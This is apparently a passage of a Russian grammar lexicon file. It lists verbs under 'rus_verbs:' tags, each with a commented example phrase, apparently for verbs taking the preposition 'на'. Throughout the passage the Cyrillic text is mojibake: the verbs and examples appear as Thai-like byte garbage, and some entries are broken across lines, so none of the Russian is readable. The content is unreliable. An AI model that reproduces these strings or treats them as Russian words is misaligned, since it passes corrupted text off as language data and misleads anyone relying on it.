rus_verbs:ะพะฑัะฐัะธัััั{}, // ะพะฑัะฐัะธัััั ะฝะฐ ะบะฐัะตะดัั
rus_verbs:ะฟะพะปัะฑะพะฒะฐัััั{}, // ะฟะพะปัะฑะพะฒะฐัััั ะฝะฐ ะฑััั
rus_verbs:ัะฐัะฐัะธัััั{}, // ัะฐัะฐัะธัััั ะฝะฐ ะผัััะฐะฝะณะพะฒ
rus_verbs:ะฝะฐะฟะพัะพัััั{}, // ะฝะฐะฟะพัะพัััั ะฝะฐ ะบะพะปััะบะธ
rus_verbs:ัะฐะทะดะฐัั{}, // ัะฐะทะดะฐัั ะฝะฐ ััะบะธ
rus_verbs:ะดะธะฒะธัััั{}, // ะดะธะฒะธัััั ะฝะฐ ัะฐะฝัะพะฒัะธั
rus_verbs:ะฝะฐะทะฝะฐัะฐัั{}, // ะฝะฐะทะฝะฐัะฐัั ะฝะฐ ะพัะฒะตัััะฒะตะฝะฝะตะนัะธะน ะฟะพัั
rus_verbs:ะบะธะดะฐัั{}, // ะบะธะดะฐัั ะฝะฐ ะฑะฐะปะบะพะฝ
rus_verbs:ะฝะฐั
ะปะพะฑััะธัั{}, // ะฝะฐั
ะปะพะฑััะธัั ะฝะฐ ะฑะฐัะบั
rus_verbs:ัะฒะปะตะบะฐัั{}, // ัะฒะปะตะบะฐัั ะฝะฐ ะปัะณ
rus_verbs:ััะณะฝััััั{}, // ััะณะฝััััั ะฝะฐ ะถะธะฒะพัะธะฝั
rus_verbs:ะฟะตัะตัะตะปะธัััั{}, // ะฟะตัะตัะตะปะธัััั ะฝะฐ ั
ััะพั
rus_verbs:ัะฐะทััะฒะฐัั{}, // ัะฐะทััะฒะฐัั ะฝะฐ ัะฐััะธ
rus_verbs:ััะฐัะธัั{}, // ััะฐัะธัั ะฝะฐ ะดะตัะตะฒะพ
rus_verbs:ะฝะฐััะฐะฒะปััั{}, // ะฝะฐััะฐะฒะปััั ะฝะฐ ะฟััั
rus_verbs:ัะพะฑะปะฐะทะฝะธัั{}, // ัะพะฑะปะฐะทะฝะธัั ะฝะฐ ะพะฑะผะตะฝ
rus_verbs:ะฝะฐะบะปะฐะดัะฒะฐัั{}, // ะฝะฐะบะปะฐะดัะฒะฐัั ะฝะฐ ัะฐะฝั
rus_verbs:ะฝะฐะฑัะตััะธ{}, // ะฝะฐะฑัะตััะธ ะฝะฐ ะณัะธะฑะฝัั ะฟะพะปัะฝั
rus_verbs:ะฝะฐะฒะตะดัะฒะฐัััั{}, // ะฝะฐะฒะตะดัะฒะฐัััั ะฝะฐ ะฟัะตะถะฝัั ัะฐะฑะพัั
rus_verbs:ะฟะพะณัะปััั{}, // ะฟะพะณัะปััั ะฝะฐ ััะถะธะต ะดะตะฝัะณะธ
rus_verbs:ัะบะปะพะฝััััั{}, // ัะบะปะพะฝััััั ะฝะฐ ะดะฒะฐ ะณัะฐะดััะฐ ะฒะปะตะฒะพ
rus_verbs:ัะปะตะทะฐัั{}, // ัะปะตะทะฐัั ะฝะฐ ะทะตะผะปั
rus_verbs:ะบะปะตะฒะฐัั{}, // ะบะปะตะฒะฐัั ะฝะฐ ะผะพััะปั
// rus_verbs:ะฝะฐะทะฝะฐัะฐัััั{}, // ะฝะฐะทะฝะฐัะฐัััั ะฝะฐ ะฟะพัั
rus_verbs:ะฝะฐะฟัะปะธัั{}, // ะฝะฐะฟัะปะธัั ะฝะฐ ะณะพะปะพะฒั
rus_verbs:ะฝะฐััะฝััััั{}, // ะฝะฐััะฝััััั ะฝะฐ ัะฐะผะบั
rus_verbs:ัะฐะทะณะฝะตะฒะฐัััั{}, // ัะฐะทะณะฝะตะฒะฐัััั ะฝะฐ ะฟัะธะดะฒะพัะฝัั
rus_verbs:ัะผะธะณัะธัะพะฒะฐัั{}, // ัะผะธะณัะธัะพะฒะฐัั ะฝะฐ ะะธะฟั
rus_verbs:ะฝะฐะบะฐัะธัั{}, // ะฝะฐะบะฐัะธัั ะฝะฐ ะพัะฝะพะฒั
rus_verbs:ะฟัะธะณะฝะฐัั{}, // ะฟัะธะณะฝะฐัั ะฝะฐ ะฟะฐััะฑะธัะต
rus_verbs:ะพะฑัะตัั{}, // ะพะฑัะตัั ะฝะฐ ะผััะตะฝะธั
rus_verbs:ัะพะบัะฐัะฐัััั{}, // ัะพะบัะฐัะฐัััั ะฝะฐ ัะตัะฒะตััั
rus_verbs:ะพััะตัะฝะธัั{}, // ะพััะตัะฝะธัั ะฝะฐ ะฟัะธััะฐะฝั
rus_verbs:ะฟะพะดะฑะธัั{}, // ะฟะพะดะฑะธัั ะฝะฐ ะฐัะตัั
rus_verbs:ะทะฐะผะฐะฝะธัั{}, // ะทะฐะผะฐะฝะธัั ะฝะฐ ะดะตัะตะฒะพ
ะธะฝัะธะฝะธัะธะฒ:ะฟะพะฟะธัะฐัั{ aux stress="ะฟะพะฟ^ะธัะฐัั" }, ะณะปะฐะณะพะป:ะฟะพะฟะธัะฐัั{ aux stress="ะฟะพะฟ^ะธัะฐัั" }, // ะฟะพะฟะธัะฐัั ะฝะฐ ะบัััะธะบ
// ะดะตะตะฟัะธัะฐััะธะต:ะฟะพะฟะธัะฐะฒ{ aux stress="ะฟะพะฟ^ะธัะฐัั" },
rus_verbs:ะฟะพัั
ะพะดะธัั{}, // ะฟะพัั
ะพะดะธัั ะฝะฐ ะฟะตััะพะฝ
rus_verbs:ะฝะฐะปะตัั{}, // ะฝะฐะปะตัั ะฝะฐ ะผัััะพ
rus_verbs:ะพัะฑะธัะฐัั{}, // ะพัะฑะธัะฐัั ะฝะฐ ัะปะพั
rus_verbs:ะฝะฐัะตะฟััะฒะฐัั{}, // ะฝะฐัะตะฟััะฒะฐัั ะฝะฐ ัั
ะพ
rus_verbs:ะพัะบะปะฐะดัะฒะฐัััั{}, // ะพัะบะปะฐะดัะฒะฐัััั ะฝะฐ ะฑัะดััะตะต
rus_verbs:ะทะฐะปะฐััั{}, // ะทะฐะปะฐััั ะฝะฐ ะณัะฐะฑะธัะตะปั
rus_verbs:ะฝะฐัััะพะธัััั{}, // ะฝะฐัััะพะธัััั ะฝะฐ ะฟัะธะตะผ
rus_verbs:ัะฐะทะฑะธะฒะฐัั{}, // ัะฐะทะฑะธะฒะฐัั ะฝะฐ ะบััะบะธ
rus_verbs:ะฟัะพะปะธัััั{}, // ะฟัะพะปะธัััั ะฝะฐ ะฟะพัะฒั
rus_verbs:ัะตัะพะฒะฐัั{}, // ัะตัะพะฒะฐัั ะฝะฐ ะพะฑัะตะบัะธะฒะฝัะต ัััะดะฝะพััะธ
rus_verbs:ะฟะพะดะฒะตะทัะธ{}, // ะฟะพะดะฒะตะทัะธ ะฝะฐ ะผะธัะธะฝะณ
rus_verbs:ะฟัะธะฟะตัะตัััั{}, // ะฟัะธะฟะตัะตัััั ะฝะฐ ะฟัะฐะทะดะฝะธะบ
rus_verbs:ะฟะพะดัะฐะปะบะธะฒะฐัั{}, // ะฟะพะดัะฐะปะบะธะฒะฐัั ะฝะฐ ะฟััะถะพะบ
rus_verbs:ะฟัะพััะฒะฐัััั{}, // ะฟัะพััะฒะฐัััั ะฝะฐ ััะตะฝั
rus_verbs:ัะฝะธะถะฐัั{}, // ัะฝะธะถะฐัั ะฝะฐ ะฝะตัะบะพะปัะบะพ ะฟัะพัะตะฝัะพะฒ
rus_verbs:ะฝะฐัะตะปะธัั{}, // ะฝะฐัะตะปะธัั ะฝะฐ ัะฐะฝะบ
rus_verbs:ัะฐัะบะพะปะพัั{}, // ัะฐัะบะพะปะพัั ะฝะฐ ะดะฒะฐ ะบััะบะฐ
rus_verbs:ัะฒะพะทะธัั{}, // ัะฒะพะทะธัั ะฝะฐ ะพะฑะบะฐัะบั
rus_verbs:ะพัะตะดะฐัั{}, // ะพัะตะดะฐัั ะฝะฐ ะดะฝะพ
rus_verbs:ััะตะดะฐัั{}, // ััะตะดะฐัั ะฝะฐ ัะถะธะฝ
rus_verbs:ะฝะฐะฒะปะตัั{}, // ะฝะฐะฒะปะตัั ะฝะฐ ัะตะฑั
rus_verbs:ัะฐะฒะฝััััั{}, // ัะฐะฒะฝััััั ะฝะฐ ะปัััะธั
rus_verbs:ัะพัะธะตะฝัะธัะพะฒะฐัััั{}, // ัะพัะธะตะฝัะธัะพะฒะฐัััั ะฝะฐ ะผะตััะฝะพััะธ
rus_verbs:ัะฝะธะทะธัั{}, // ัะฝะธะทะธัั ะฝะฐ ะฝะตัะบะพะปัะบะพ ะฟัะพัะตะฝัะพะฒ
rus_verbs:ะฟะตัะตะฝะตััะธัั{}, // ะฟะตัะตะฝะตััะธัั ะฝะฐ ะผะฝะพะณะพ ะปะตั ะฝะฐะทะฐะด
rus_verbs:ะทะฐะฒะตะทัะธ{}, // ะทะฐะฒะตะทัะธ ะฝะฐ ัะบะปะฐะด
rus_verbs:ะฟัะพะปะพะถะธัั{}, // ะฟัะพะปะพะถะธัั ะฝะฐ ะณะพัั
rus_verbs:ะฟะพะฝะฐะดะตััััั{}, // ะฟะพะฝะฐะดะตััััั ะฝะฐ ัะดะฐัั
rus_verbs:ะทะฐัััะฟะธัั{}, // ะทะฐัััะฟะธัั ะฝะฐ ะฒะฐั
ัั
rus_verbs:ะทะฐัะตะผะตะฝะธัั{}, // ะทะฐัะตะผะตะฝะธัั ะฝะฐ ะฒัั
ะพะด
rus_verbs:ะทะฐะฟะธัะฐัั{}, // ะทะฐะฟะธัะฐัั ะฝะฐ ะบะปัั
rus_verbs:ัะบะฐััะฒะฐัััั{}, // ัะบะฐััะฒะฐัััั ะฝะฐ ะทะตะผะปั
rus_verbs:ะดัะพะฑะธัั{}, // ะดัะพะฑะธัั ะฝะฐ ัะฐััะธ
rus_verbs:ัะฐะทะฒะฐะปะธะฒะฐัััั{}, // ัะฐะทะฒะฐะปะธะฒะฐัััั ะฝะฐ ะบััะพัะบะธ
rus_verbs:ะทะฐะฒะพะทะธัััั{}, // ะทะฐะฒะพะทะธัััั ะฝะฐ ัะบะปะฐะด
rus_verbs:ะฝะฐะฝะธะผะฐัั{}, // ะฝะฐะฝะธะผะฐัั ะฝะฐ ะดะฝะตะฒะฝัั ัะฐะฑะพัั
rus_verbs:ะฟะพัะฟะตัั{}, // ะฟะพัะฟะตัั ะฝะฐ ะบะพะฝัะตัั
rus_verbs:ะฟัะพะผะตะฝััั{}, // ะฟัะพะผะตะฝััั ะฝะฐ ัััะพััั
rus_verbs:ะฟะตัะตะฟัะฐะฒะธัั{}, // ะฟะตัะตะฟัะฐะฒะธัั ะฝะฐ ัะตะฒะตั
rus_verbs:ะฝะฐะปะตัะฐัั{}, // ะฝะฐะปะตัะฐัั ะฝะฐ ัะธะปะพะฒะพะต ะฟะพะปะต
rus_verbs:ะทะฐัะฒะพัะธัั{}, // ะทะฐัะฒะพัะธัั ะฝะฐ ะทะฐะผะพะบ
rus_verbs:ะฟะพะดะพะณะฝะฐัั{}, // ะฟะพะดะพะณะฝะฐัั ะฝะฐ ะฟัะธััะฐะฝั
rus_verbs:ะฝะฐะตั
ะฐัั{}, // ะฝะฐะตั
ะฐัั ะฝะฐ ะบะฐะผะตะฝั
rus_verbs:ัะฐัะฟะตะฒะฐัั{}, // ัะฐัะฟะตะฒะฐัั ะฝะฐ ัะฐะทะฝัะต ะณะพะปะพัะฐ
rus_verbs:ัะฐะทะฝะพัะธัั{}, // ัะฐะทะฝะพัะธัั ะฝะฐ ะบะปะพัะบะธ
rus_verbs:ะฟัะตัะฒะตะปะธัะธะฒะฐัั{}, // ะฟัะตัะฒะตะปะธัะธะฒะฐัั ะฝะฐ ะผะฝะพะณะพ ะบะธะปะพะณัะฐะผะผะพะฒ
rus_verbs:ั
ัะพะผะฐัั{}, // ั
ัะพะผะฐัั ะฝะฐ ะพะดะฝั ะฝะพะณั
rus_verbs:ัะตะปะตะณัะฐัะธัะพะฒะฐัั{}, // ัะตะปะตะณัะฐัะธัะพะฒะฐัั ะฝะฐ ะฑะฐะทั
rus_verbs:ะฟะพัะตะทะฐัั{}, // ะฟะพัะตะทะฐัั ะฝะฐ ะปะพัะบััั
rus_verbs:ะฟะพัะฒะฐัััั{}, // ะฟะพัะฒะฐัััั ะฝะฐ ัะฐััะธ
rus_verbs:ะทะฐะณะพะฝััั{}, // ะทะฐะณะพะฝััั ะฝะฐ ะดะตัะตะฒะพ
rus_verbs:ะพัะฑัะฒะฐัั{}, // ะพัะฑัะฒะฐัั ะฝะฐ ะผะตััะพ ัะปัะถะฑั
rus_verbs:ััะฐะถะธะฒะฐัััั{}, // ััะฐะถะธะฒะฐัััั ะฝะฐ ััะพะฝ
rus_verbs:ะฝะฐะบะพะฟะธัั{}, // ะฝะฐะบะพะฟะธัั ะฝะฐ ะบะฒะฐััะธัั
rus_verbs:ะทััะบะฝััั{}, // ะทััะบะฝััั ะฝะฐ ะฒะธะทะธัะตัะฐ
rus_verbs:ะบะพะฟะธัั{}, // ะบะพะฟะธัั ะฝะฐ ะผะฐัะธะฝั
rus_verbs:ะฟะพะผะตัะฐัั{}, // ะฟะพะผะตัะฐัั ะฝะฐ ะฒะตัั
ะฝัั ะณัะฐะฝั
rus_verbs:ัะฟะพะปะทะฐัั{}, // ัะฟะพะปะทะฐัั ะฝะฐ ัะฝะตะณ
rus_verbs:ะฟะพะฟัะพัะธัััั{}, // ะฟะพะฟัะพัะธัััั ะฝะฐ ัะปะธัั
rus_verbs:ะฟะตัะตัะฐัะธัั{}, // ะฟะตัะตัะฐัะธัั ะฝะฐ ัะตัะดะฐะบ
rus_verbs:ัะฐััะฐัะธัั{}, // ัะฐััะฐัะธัั ะฝะฐ ััะฒะตะฝะธัั
rus_verbs:ะฝะธัะฟะฐะดะฐัั{}, // ะฝะธัะฟะฐะดะฐัั ะฝะฐ ะทะตะผะปั
rus_verbs:ััะพัะพะณัะฐัะธัะพะฒะฐัั{}, // ััะพัะพะณัะฐัะธัะพะฒะฐัั ะฝะฐ ะฟะฐะผััั
rus_verbs:ะฝะฐะณะพะฝััั{}, // ะฝะฐะณะพะฝััั ะฝะฐ ะบะพะฝะบััะตะฝัะพะฒ ัััะฐั
rus_verbs:ะฟะพะบััะฐัััั{}, // ะฟะพะบััะฐัััั ะฝะฐ ะฟะพะฝัะธัะธะบะฐ
rus_verbs:ะฟะพะบััะธัััั{},
rus_verbs:ะฝะฐะฝััััั{}, // ะฝะฐะฝััััั ะฝะฐ ัะปัะถะฑั
rus_verbs:ะฟัะพัะฐัะธะฒะฐัััั{}, // ะฟัะพัะฐัะธะฒะฐัััั ะฝะฐ ะฟะพะฒะตัั
ะฝะพััั
rus_verbs:ะฟััะบะฐัััั{}, // ะฟััะบะฐัััั ะฝะฐ ะฒะตัะตั
rus_verbs:ะพัะฒะฐะถะธะฒะฐัััั{}, // ะพัะฒะฐะถะธะฒะฐัััั ะฝะฐ ะฟััะถะพะบ
rus_verbs:ะดะพัะฐะดะพะฒะฐัั{}, // ะดะพัะฐะดะพะฒะฐัั ะฝะฐ ะพะฑัะตะบัะธะฒะฝัะต ัััะดะฝะพััะธ
rus_verbs:ัะฝะตััะธัั{}, // ัะฝะตััะธัั ะฝะฐ ะฝะตะฑะพ
rus_verbs:ัั
ัะดัะฐัััั{}, // ัั
ัะดัะฐัััั ะฝะฐ ะฝะตัะบะพะปัะบะพ ะฟัะพัะตะฝัะพะฒ
rus_verbs:ะฝะฐัะฐะดะธัั{}, // ะฝะฐัะฐะดะธัั ะฝะฐ ะบะพะฟัั
rus_verbs:ะฝะฐะณััะฝััั{}, // ะฝะฐะณััะฝััั ะฝะฐ ะฟัะฐะทะดะฝะธะบ
rus_verbs:ะทะฐัะฒััะฝััั{}, // ะทะฐัะฒััะฝััั ะฝะฐ ะฟะพะปะบั
rus_verbs:ะณัะตัะธัั{}, // ะณัะตัะธัั ะฝะฐ ะฟะพััะพัะปััะตะฒ
rus_verbs:ะฟัะพัะพัะธัััั{}, // ะฟัะพัะพัะธัััั ะฝะฐ ะฟะพะฒะตัั
ะฝะพััั
rus_verbs:ะฝะฐะดะพัะผะธัั{}, // ะฝะฐะดะพัะผะธัั ะฝะฐ ะณะปัะฟะพััั
rus_verbs:ะฝะฐะผะพัะฐัั{}, // ะฝะฐะผะพัะฐัั ะฝะฐ ัะฟะธะฝะดะตะปั
rus_verbs:ะทะฐะผะบะฝััั{}, // ะทะฐะผะบะฝััั ะฝะฐ ะบะพัะฟัั
rus_verbs:ััะบะฝััั{}, // ััะบะฝััั ะฝะฐ ะดะตัะตะน
rus_verbs:ะฟะตัะตะฒะพัะฐัะธะฒะฐัััั{}, // ะฟะตัะตะฒะพัะฐัะธะฒะฐัััั ะฝะฐ ัะฟะธะฝั
rus_verbs:ัะพะฒะฐัััั{}, // ัะพะฒะฐัััั ะฝะฐ ะฟะปะพัะฐัั
rus_verbs:ะพัะปััะธัััั{}, // ะพัะปััะธัััั ะฝะฐ ะพะฑะตะด
rus_verbs:ะฟะตะฝััั{}, // ะฟะตะฝััั ะฝะฐ ัะตะฑั
rus_verbs:ะฝะฐัะตะทะฐัั{}, // ะฝะฐัะตะทะฐัั ะฝะฐ ะปะพะผัะธะบะธ
rus_verbs:ะฟะพััะฐะฒะปััั{}, // ะฟะพััะฐะฒะปััั ะฝะฐ ะะธะฟั
rus_verbs:ะทะฐะปะตะทะฐัั{}, // ะทะฐะปะตะทะฐัั ะฝะฐ ะฑะฐะปะบะพะฝ
rus_verbs:ะพัะปััะฐัััั{}, // ะพัะปััะฐัััั ะฝะฐ ะพะฑะตะด
rus_verbs:ัะฑะธะฒะฐัััั{}, // ัะฑะธะฒะฐัััั ะฝะฐ ัะฐะณ
rus_verbs:ัะฐัะฐัะธัั{}, // ัะฐัะฐัะธัั ะณะปะฐะทะฐ ะฝะฐ ะฒะพัะตะดัะตะณะพ
rus_verbs:ะฟัะพัะผัะณะฝััั{}, // ะฟัะพัะผัะณะฝััั ะฝะฐ ะบัั
ะฝั
rus_verbs:ะพะฟะตัะตะถะฐัั{}, // ะพะฟะตัะตะถะฐัั ะฝะฐ ะฟะฐัั ัะฐะฝัะธะผะตััะพะฒ
rus_verbs:ะฟะตัะตััะฐะฒะธัั{}, // ะฟะตัะตััะฐะฒะธัั ะฝะฐ ััะพะป
rus_verbs:ัะฐะทะดะธัะฐัั{}, // ัะฐะทะดะธัะฐัั ะฝะฐ ัะฐััะธ
rus_verbs:ะทะฐัะฒะพัะธัััั{}, // ะทะฐัะฒะพัะธัััั ะฝะฐ ะทะฐัะพะฒั
rus_verbs:ะผะฐัะตัะธัััั{}, // ะผะฐัะตัะธัััั ะฝะฐ ะบะพะณะพ-ัะพ
rus_verbs:ะฝะฐัะบะพัะธัั{}, // ะฝะฐัะบะพัะธัั ะฝะฐ ัะธั
rus_verbs:ะฝะฐะฑะธัะฐัััั{}, // ะฝะฐะฑะธัะฐัััั ะฝะฐ ะฑะพัั
rus_verbs:ะฟะพะบัะธะบะธะฒะฐัั{}, // ะฟะพะบัะธะบะธะฒะฐัั ะฝะฐ ะฟะพะผะพัะฝะธะบะพะฒ
rus_verbs:ะทะฐะผะตะฝััััั{}, // ะทะฐะผะตะฝััััั ะฝะฐ ะฑะพะปะตะต ะฝะพะฒัะน
rus_verbs:ะฟะพะดัะฐะดะธัั{}, // ะฟะพะดัะฐะดะธัั ะฝะฐ ะฒะตัั
ะฝัั ะฟะพะปะบั
rus_verbs:ะฟัะพะบะพะฒัะปััั{}, // ะฟัะพะบะพะฒัะปััั ะฝะฐ ะบัั
ะฝั
rus_verbs:ะฟัะธะบะฐัะธัั{}, // ะฟัะธะบะฐัะธัั ะฝะฐ ััะฐัั
rus_verbs:ะทะฐะปะตัะตัั{}, // ะทะฐะปะตัะตัั ะฝะฐ ััะถัั ัะตััะธัะพัะธั
rus_verbs:ะทะฐะณััะทะธัั{}, // ะทะฐะณััะทะธัั ะฝะฐ ะบะพะฝะฒะตะนะตั
rus_verbs:ัะฟะปัะฒะฐัั{}, // ัะฟะปัะฒะฐัั ะฝะฐ ะผะฐัะตัะธะบ
rus_verbs:ะพะฟะพะทะพัะธัั{}, // ะพะฟะพะทะพัะธัั ะฝะฐ ะฒัั ะดะตัะตะฒะฝั
rus_verbs:ะฟัะพะฒะพัะธัะพะฒะฐัั{}, // ะฟัะพะฒะพัะธัะพะฒะฐัั ะฝะฐ ะพัะฒะตัะฝัั ะฐะณัะตััะธั
rus_verbs:ะทะฐะฑะธะฒะฐัั{}, // ะทะฐะฑะธะฒะฐัั ะฝะฐ ััะตะฑั
rus_verbs:ะฝะฐะฑะตะณะฐัั{}, // ะฝะฐะฑะตะณะฐัั ะฝะฐ ะฟัะธะฑัะตะถะฝัะต ะดะตัะตะฒะฝะธ
rus_verbs:ะทะฐะฟะธัะฐัััั{}, // ะทะฐะฟะธัะฐัััั ะฝะฐ ะบะปัั
rus_verbs:ัะพัะพะณัะฐัะธัะพะฒะฐัั{}, // ัะพัะพะณัะฐัะธัะพะฒะฐัั ะฝะฐ ะผัะปัะฝะธัั
rus_verbs:ะฟะพะดัะผะฐัั{}, // ะฟะพะดัะผะฐัั ะฝะฐ ะฝะตะดะพััะณะฐะตะผัั ะฒััะพัั
rus_verbs:ััะตะทะถะฐัััั{}, // ััะตะทะถะฐัััั ะฝะฐ ัะธะผะฟะพะทะธัะผ
rus_verbs:ะพัะฒะปะตะบะฐัััั{}, // ะพัะฒะปะตะบะฐัััั ะฝะฐ ะธะณัั
rus_verbs:ะฟัะพะปะธะฒะฐัั{}, // ะฟัะพะปะธะฒะฐัั ะฝะฐ ะฑััะบะธ
rus_verbs:ัะฟะธะบะธัะพะฒะฐัั{}, // ัะฟะธะบะธัะพะฒะฐัั ะฝะฐ ะทะฐะทะตะฒะฐะฒัะตะณะพัั ะทะฐะนัะฐ
rus_verbs:ัะฟะพะปะทัะธ{}, // ัะฟะพะปะทัะธ ะฝะฐ ะฒะตััะธะฝั ั
ะพะปะผะฐ
rus_verbs:ะฟะตัะตะผะตััะธัั{}, // ะฟะตัะตะผะตััะธัั ะฝะฐ ะฒัะพััั ะฟะฐะปัะฑั
rus_verbs:ะฟัะตะฒััะธัั{}, // ะฟัะตะฒััะธัั ะฝะฐ ะฝะตัะบะพะปัะบะพ ะผะตััะพะฒ
rus_verbs:ะฟะตัะตะดะฒะธะฝััััั{}, // ะฟะตัะตะดะฒะธะฝััััั ะฝะฐ ัะพัะตะดะฝัั ะบะปะตัะบั
rus_verbs:ัะฟัะพะฒะพัะธัะพะฒะฐัั{}, // ัะฟัะพะฒะพัะธัะพะฒะฐัั ะฝะฐ ะฑัะพัะพะบ
rus_verbs:ัะผะตััะธัััั{}, // ัะผะตััะธัััั ะฝะฐ ัะพัะตะดะฝัั ะบะปะตัะบั
rus_verbs:ะทะฐะณะพัะพะฒะธัั{}, // ะทะฐะณะพัะพะฒะธัั ะฝะฐ ะทะธะผั
rus_verbs:ะฟะปะตะฒะฐัััั{}, // ะฟะปะตะฒะฐัััั ะฝะฐ ะฟะพะป
rus_verbs:ะฟะตัะตัะตะปะธัั{}, // ะฟะตัะตัะตะปะธัั ะฝะฐ ัะตะฒะตั
rus_verbs:ะฝะฐะฟะธัะฐัั{}, // ะฝะฐะฟะธัะฐัั ะฝะฐ ะดะฒะตัั
rus_verbs:ะฟะตัะตะตะทะถะฐัั{}, // ะฟะตัะตะตะทะถะฐัั ะฝะฐ ะดััะณะพะน ััะฐะถ
rus_verbs:ะฟัะธะฟะพะดะฝะธะผะฐัั{}, // ะฟัะธะฟะพะดะฝะธะผะฐัั ะฝะฐ ะฝะตัะบะพะปัะบะพ ัะฐะฝัะธะผะตััะพะฒ
rus_verbs:ััะพะณะฐัััั{}, // ััะพะณะฐัััั ะฝะฐ ะบัะฐัะฝัะน ัะฒะตั
rus_verbs:ะฝะฐะดะฒะธะฝััััั{}, // ะฝะฐะดะฒะธะฝััััั ะฝะฐ ะณะปะฐะทะฐ
rus_verbs:ะทะฐัะผะพััะตัััั{}, // ะทะฐัะผะพััะตัััั ะฝะฐ ะบัะฟะฐะปัะฝะธะบะธ
rus_verbs:ัะฑััั{}, // ัะฑััั ะฝะฐ ััะพะฝั
rus_verbs:ะฟะตัะตะดะฒะธะณะฐัั{}, // ะฟะตัะตะดะฒะธะณะฐัั ะฝะฐ ะฒัะพัะพะน ััะพะฒะตะฝั
rus_verbs:ะพัะฒะพะทะธัั{}, // ะพัะฒะพะทะธัั ะฝะฐ ัะฒะฐะปะบั
rus_verbs:ะพะฑัะตะบะฐัั{}, // ะพะฑัะตะบะฐัั ะฝะฐ ะณะธะฑะตะปั
rus_verbs:ะทะฐะฟะธััะฒะฐัััั{}, // ะทะฐะฟะธััะฒะฐัััั ะฝะฐ ัะฐะฝัั
rus_verbs:ะฝะฐัััะฐะธะฒะฐัั{}, // ะฝะฐัััะฐะธะฒะฐัั ะฝะฐ ะดััะณะพะน ะดะธะฐะฟะฐะทะพะฝ
rus_verbs:ะฟะตัะตะฟะธััะฒะฐัั{}, // ะฟะตัะตะฟะธััะฒะฐัั ะฝะฐ ะดะธัะบ
rus_verbs:ะธะทัะฐัั
ะพะดะพะฒะฐัั{}, // ะธะทัะฐัั
ะพะดะพะฒะฐัั ะฝะฐ ะณะพะฝะบะธ
rus_verbs:ะพะฑะผะตะฝััั{}, // ะพะฑะผะตะฝััั ะฝะฐ ะฟะตััะฟะตะบัะธะฒะฝะพะณะพ ะธะณัะพะบะฐ
rus_verbs:ัััะฑะธัั{}, // ัััะฑะธัั ะฝะฐ ะฒัั ะพะบััะณั
rus_verbs:ะฝะฐะฑัะฐััะฒะฐัััั{}, // ะฝะฐะฑัะฐััะฒะฐัััั ะฝะฐ ะถะตััะฒั
rus_verbs:ัะธั
ะฐัั{}, // ัะธั
ะฐัั ะฝะฐ ะฟัะฐะฒะธะปะฐ
rus_verbs:ะฝะฐะฒะฐะปะธะฒะฐัััั{}, // ะฝะฐะฒะฐะปะธะฒะฐัััั ะฝะฐ ัััะฐะณ
rus_verbs:ัะฟะพะดะพะฑะธัััั{}, // ัะฟะพะดะพะฑะธัััั ะฝะฐ ะฟะพะฒัะพัะฝัะน ะฐะฝะฐะปะธะท
rus_verbs:ะฝะฐะผะฐะทะฐัั{}, // ะฝะฐะผะฐะทะฐัั ะฝะฐ ั
ะปะตะฑ
rus_verbs:ะฟัะพัะตะฐะณะธัะพะฒะฐัั{}, // ะฟัะพัะตะฐะณะธัะพะฒะฐัั ะฝะฐ ะฒัะทะพะฒ
rus_verbs:ะทะฐัะธัะปะธัั{}, // ะทะฐัะธัะปะธัั ะฝะฐ ัะฐะบัะปััะตั
rus_verbs:ะฝะฐะฒะตะดะฐัััั{}, // ะฝะฐะฒะตะดะฐัััั ะฝะฐ ัะบะปะฐะด
rus_verbs:ะพัะบะธะดัะฒะฐัััั{}, // ะพัะบะธะดัะฒะฐัััั ะฝะฐ ัะฟะธะฝะบั ะบัะตัะปะฐ
rus_verbs:ะทะฐั
ัะพะผะฐัั{}, // ะทะฐั
ัะพะผะฐัั ะฝะฐ ะปะตะฒัั ะฝะพะณั
rus_verbs:ะฟะตัะตะบะพัะตะฒะฐัั{}, // ะฟะตัะตะบะพัะตะฒะฐัั ะฝะฐ ะดััะณะพะน ะฑะตัะตะณ
rus_verbs:ะฝะฐะบะฐััะฒะฐัััั{}, // ะฝะฐะบะฐััะฒะฐัััั ะฝะฐ ะฟะตััะฐะฝัะน ะฑะตัะตะณ
rus_verbs:ะฟัะธะพััะฐะฝะพะฒะธัั{}, // ะฟัะธะพััะฐะฝะพะฒะธัั ะฝะฐ ะฝะตะบะพัะพัะพะต ะฒัะตะผั
rus_verbs:ะทะฐะฟัััะฐัั{}, // ะทะฐะฟัััะฐัั ะฝะฐ ะฒะตัั
ะฝัั ะฟะพะปะพัะบั
rus_verbs:ะฟัะธั
ัะฐะผัะฒะฐัั{}, // ะฟัะธั
ัะฐะผัะฒะฐัั ะฝะฐ ะฟัะฐะฒัั ะฝะพะณั
rus_verbs:ัะฟะพัั
ะฝััั{}, // ัะฟะพัั
ะฝััั ะฝะฐ ัะฒะพะฑะพะดั
rus_verbs:ัะฐัััะตะณะธะฒะฐัั{}, // ัะฐัััะตะณะธะฒะฐัั ะฝะฐ ะฟะฐะปััะพ
rus_verbs:ะฝะฐะฟัััะธัััั{}, // ะฝะฐะฟัััะธัััั ะฝะฐ ะฑัะพะดัะณั
rus_verbs:ะฝะฐะบะฐััะฒะฐัั{}, // ะฝะฐะบะฐััะฒะฐัั ะฝะฐ ะพัะธะณะธะฝะฐะป
rus_verbs:ะฝะฐะตะทะถะฐัั{}, // ะฝะฐะตะทะถะฐัั ะฝะฐ ะฟัะพััะพัะธะปั
rus_verbs:ััะฒะบะฝััั{}, // ััะฒะบะฝััั ะฝะฐ ะฟะพะดะพัะตะดัะตะณะพ ัะตะปะพะฒะตะบะฐ
rus_verbs:ะพัััะดะธัั{}, // ะพัััะดะธัั ะฝะฐ ะฟะพัะธะฝะบั
rus_verbs:ะฟะพะปะพะถะธัััั{}, // ะฟะพะปะพะถะธัััั ะฝะฐ ะณะปะฐะฒะฐัั
rus_verbs:ะพะฟัะพะบะธะดัะฒะฐัั{}, // ะพะฟัะพะบะธะดัะฒะฐัั ะฝะฐ ะณะพะปะพะฒั
rus_verbs:ะฟะพัะพัะฐะฟะปะธะฒะฐัััั{}, // ะฟะพัะพัะฐะฟะปะธะฒะฐัััั ะฝะฐ ัะตะนั
rus_verbs:ะฝะฐะปะฐะณะฐัั{}, // ะฝะฐะปะฐะณะฐัั ะฝะฐ ะทะฐะตะผัะธะบะฐ
rus_verbs:ัะบะพะฟะธัะพะฒะฐัั{}, // ัะบะพะฟะธัะพะฒะฐัั ะฝะฐ ะดะธัะบ
